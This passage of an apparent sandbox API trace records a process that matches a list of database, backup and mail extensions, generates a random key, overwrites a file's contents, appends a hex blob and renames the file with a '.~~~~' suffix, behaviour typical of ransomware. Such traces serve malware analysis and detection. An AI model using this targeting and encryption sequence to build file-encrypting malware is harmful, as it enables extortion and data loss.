	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DB3") returned 0x0
	[0138.087] lstrlenW (lpString=".DAT") returned 4
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DAT") returned 0x0
	[0138.087] lstrlenW (lpString=".VHDX") returned 5
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".VHDX") returned 0x0
	[0138.087] lstrlenW (lpString=".ndf") returned 4
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".ndf") returned 0x0
	[0138.087] lstrlenW (lpString=".DB") returned 3
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DB") returned 0x0
	[0138.087] lstrlenW (lpString=".sql") returned 4
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".sql") returned 0x0
	[0138.087] lstrlenW (lpString=".MYD") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".MYD") returned 0x0
	[0138.088] lstrlenW (lpString=".DBT") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DBT") returned 0x0
	[0138.088] lstrlenW (lpString=".ACCDB") returned 6
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.088] lstrlenW (lpString=".fdb") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".fdb") returned 0x0
	[0138.088] lstrlenW (lpString=".bak") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".bak") returned 0x0
	[0138.088] lstrlenW (lpString=".myd") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".myd") returned 0x0
	[0138.088] lstrlenW (lpString=".DTXS") returned 5
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DTXS") returned 0x0
	[0138.088] lstrlenW (lpString=".ckp") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".ckp") returned 0x0
	[0138.088] lstrlenW (lpString=".dbt") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dbt") returned 0x0
	[0138.088] lstrlenW (lpString=".db") returned 3
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".db") returned 0x0
	[0138.088] lstrlenW (lpString=".TXT") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".TXT") returned 0x0
	[0138.088] lstrlenW (lpString=".MDF") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".MDF") returned 0x0
	[0138.088] lstrlenW (lpString=".bdb") returned 4
	[0138.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".bdb") returned 0x0
	[0138.088] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0138.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.089] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0138.090] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.090] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0138.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0138.090] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25808043189) returned 1
	[0138.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbbc06bf0, dwHighDateTime=0x1d60e1e)) 
	[0138.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0138.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0138.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0138.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825940
	[0138.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825940 | out: hHeap=0x300000) returned 1
	[0138.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ceb60
	[0138.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceb60 | out: hHeap=0x300000) returned 1
	[0138.091] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0138.091] GetLastError () returned 0x0
	[0138.092] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0138.092] GetLastError () returned 0x0
	[0138.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.096] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.096] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.096] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.096] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.096] CloseHandle (hObject=0x114) returned 1
	[0138.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceb60
	[0138.097] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css.~~~~")) returned 1
	[0138.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceb60 | out: hHeap=0x300000) returned 1
	[0138.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0138.099] GetLastError () returned 0x0
	[0138.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".scr") returned 0x0
	[0138.099] lstrlenW (lpString=".cmd") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".cmd") returned 0x0
	[0138.100] lstrlenW (lpString=".dll") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dll") returned 0x0
	[0138.100] lstrlenW (lpString=".bat") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".bat") returned 0x0
	[0138.100] lstrlenW (lpString=".cpl") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".cpl") returned 0x0
	[0138.100] lstrlenW (lpString=".sys") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".sys") returned 0x0
	[0138.100] lstrlenW (lpString=".msc") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".msc") returned 0x0
	[0138.100] lstrlenW (lpString=".com") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".com") returned 0x0
	[0138.100] lstrlenW (lpString=".lnk") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".lnk") returned 0x0
	[0138.100] lstrlenW (lpString=".msp") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".msp") returned 0x0
	[0138.100] lstrlenW (lpString=".pif") returned 4
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".pif") returned 0x0
	[0138.100] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0138.102] lstrlenW (lpString=".sqb") returned 4
	[0138.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".sqb") returned 0x0
	[0138.102] lstrlenW (lpString=".ost") returned 4
	[0138.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".ost") returned 0x0
	[0138.102] lstrlenW (lpString=".txt") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".txt") returned 0x0
	[0138.103] lstrlenW (lpString=".mdt") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".mdt") returned 0x0
	[0138.103] lstrlenW (lpString=".BDB") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".BDB") returned 0x0
	[0138.103] lstrlenW (lpString=".eql") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".eql") returned 0x0
	[0138.103] lstrlenW (lpString=".DBF") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DBF") returned 0x0
	[0138.103] lstrlenW (lpString=".EQL") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".EQL") returned 0x0
	[0138.103] lstrlenW (lpString=".FDB") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".FDB") returned 0x0
	[0138.103] lstrlenW (lpString=".EDB") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".EDB") returned 0x0
	[0138.103] lstrlenW (lpString=".DACPAC") returned 7
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.103] lstrlenW (lpString=".VHD") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".VHD") returned 0x0
	[0138.103] lstrlenW (lpString=".DBV") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DBV") returned 0x0
	[0138.103] lstrlenW (lpString=".dacpac") returned 7
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dacpac") returned 0x0
	[0138.103] lstrlenW (lpString=".sdf") returned 4
	[0138.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".sdf") returned 0x0
	[0138.103] lstrlenW (lpString=".accdb") returned 6
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".accdb") returned 0x0
	[0138.104] lstrlenW (lpString=".DBX") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DBX") returned 0x0
	[0138.104] lstrlenW (lpString=".MDT") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".MDT") returned 0x0
	[0138.104] lstrlenW (lpString=".SQB") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".SQB") returned 0x0
	[0138.104] lstrlenW (lpString=".vhd") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".vhd") returned 0x0
	[0138.104] lstrlenW (lpString=".bac") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".bac") returned 0x0
	[0138.104] lstrlenW (lpString=".mdf") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".mdf") returned 0x0
	[0138.104] lstrlenW (lpString=".BAK") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".BAK") returned 0x0
	[0138.104] lstrlenW (lpString=".BAC") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".BAC") returned 0x0
	[0138.104] lstrlenW (lpString=".dbs") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dbs") returned 0x0
	[0138.104] lstrlenW (lpString=".vhdx") returned 5
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".vhdx") returned 0x0
	[0138.104] lstrlenW (lpString=".NDF") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".NDF") returned 0x0
	[0138.104] lstrlenW (lpString=".dat") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dat") returned 0x0
	[0138.104] lstrlenW (lpString=".DBS") returned 4
	[0138.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DBS") returned 0x0
	[0138.104] lstrlenW (lpString=".CKP") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".CKP") returned 0x0
	[0138.105] lstrlenW (lpString=".edb") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".edb") returned 0x0
	[0138.105] lstrlenW (lpString=".PST") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".PST") returned 0x0
	[0138.105] lstrlenW (lpString=".dbf") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dbf") returned 0x0
	[0138.105] lstrlenW (lpString=".SQL") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".SQL") returned 0x0
	[0138.105] lstrlenW (lpString=".pst") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".pst") returned 0x0
	[0138.105] lstrlenW (lpString=".dbv") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dbv") returned 0x0
	[0138.105] lstrlenW (lpString=".SDF") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".SDF") returned 0x0
	[0138.105] lstrlenW (lpString=".dtxs") returned 5
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dtxs") returned 0x0
	[0138.105] lstrlenW (lpString=".db3") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".db3") returned 0x0
	[0138.105] lstrlenW (lpString=".OST") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".OST") returned 0x0
	[0138.105] lstrlenW (lpString=".dbx") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dbx") returned 0x0
	[0138.105] lstrlenW (lpString=".DB3") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DB3") returned 0x0
	[0138.105] lstrlenW (lpString=".DAT") returned 4
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DAT") returned 0x0
	[0138.105] lstrlenW (lpString=".VHDX") returned 5
	[0138.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".VHDX") returned 0x0
	[0138.106] lstrlenW (lpString=".ndf") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".ndf") returned 0x0
	[0138.106] lstrlenW (lpString=".DB") returned 3
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DB") returned 0x0
	[0138.106] lstrlenW (lpString=".sql") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".sql") returned 0x0
	[0138.106] lstrlenW (lpString=".MYD") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".MYD") returned 0x0
	[0138.106] lstrlenW (lpString=".DBT") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DBT") returned 0x0
	[0138.106] lstrlenW (lpString=".ACCDB") returned 6
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.106] lstrlenW (lpString=".fdb") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".fdb") returned 0x0
	[0138.106] lstrlenW (lpString=".bak") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".bak") returned 0x0
	[0138.106] lstrlenW (lpString=".myd") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".myd") returned 0x0
	[0138.106] lstrlenW (lpString=".DTXS") returned 5
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".DTXS") returned 0x0
	[0138.106] lstrlenW (lpString=".ckp") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".ckp") returned 0x0
	[0138.106] lstrlenW (lpString=".dbt") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".dbt") returned 0x0
	[0138.106] lstrlenW (lpString=".db") returned 3
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".db") returned 0x0
	[0138.106] lstrlenW (lpString=".TXT") returned 4
	[0138.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".TXT") returned 0x0
	[0138.107] lstrlenW (lpString=".MDF") returned 4
	[0138.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".MDF") returned 0x0
	[0138.107] lstrlenW (lpString=".bdb") returned 4
	[0138.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".bdb") returned 0x0
	[0138.107] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0138.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.107] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
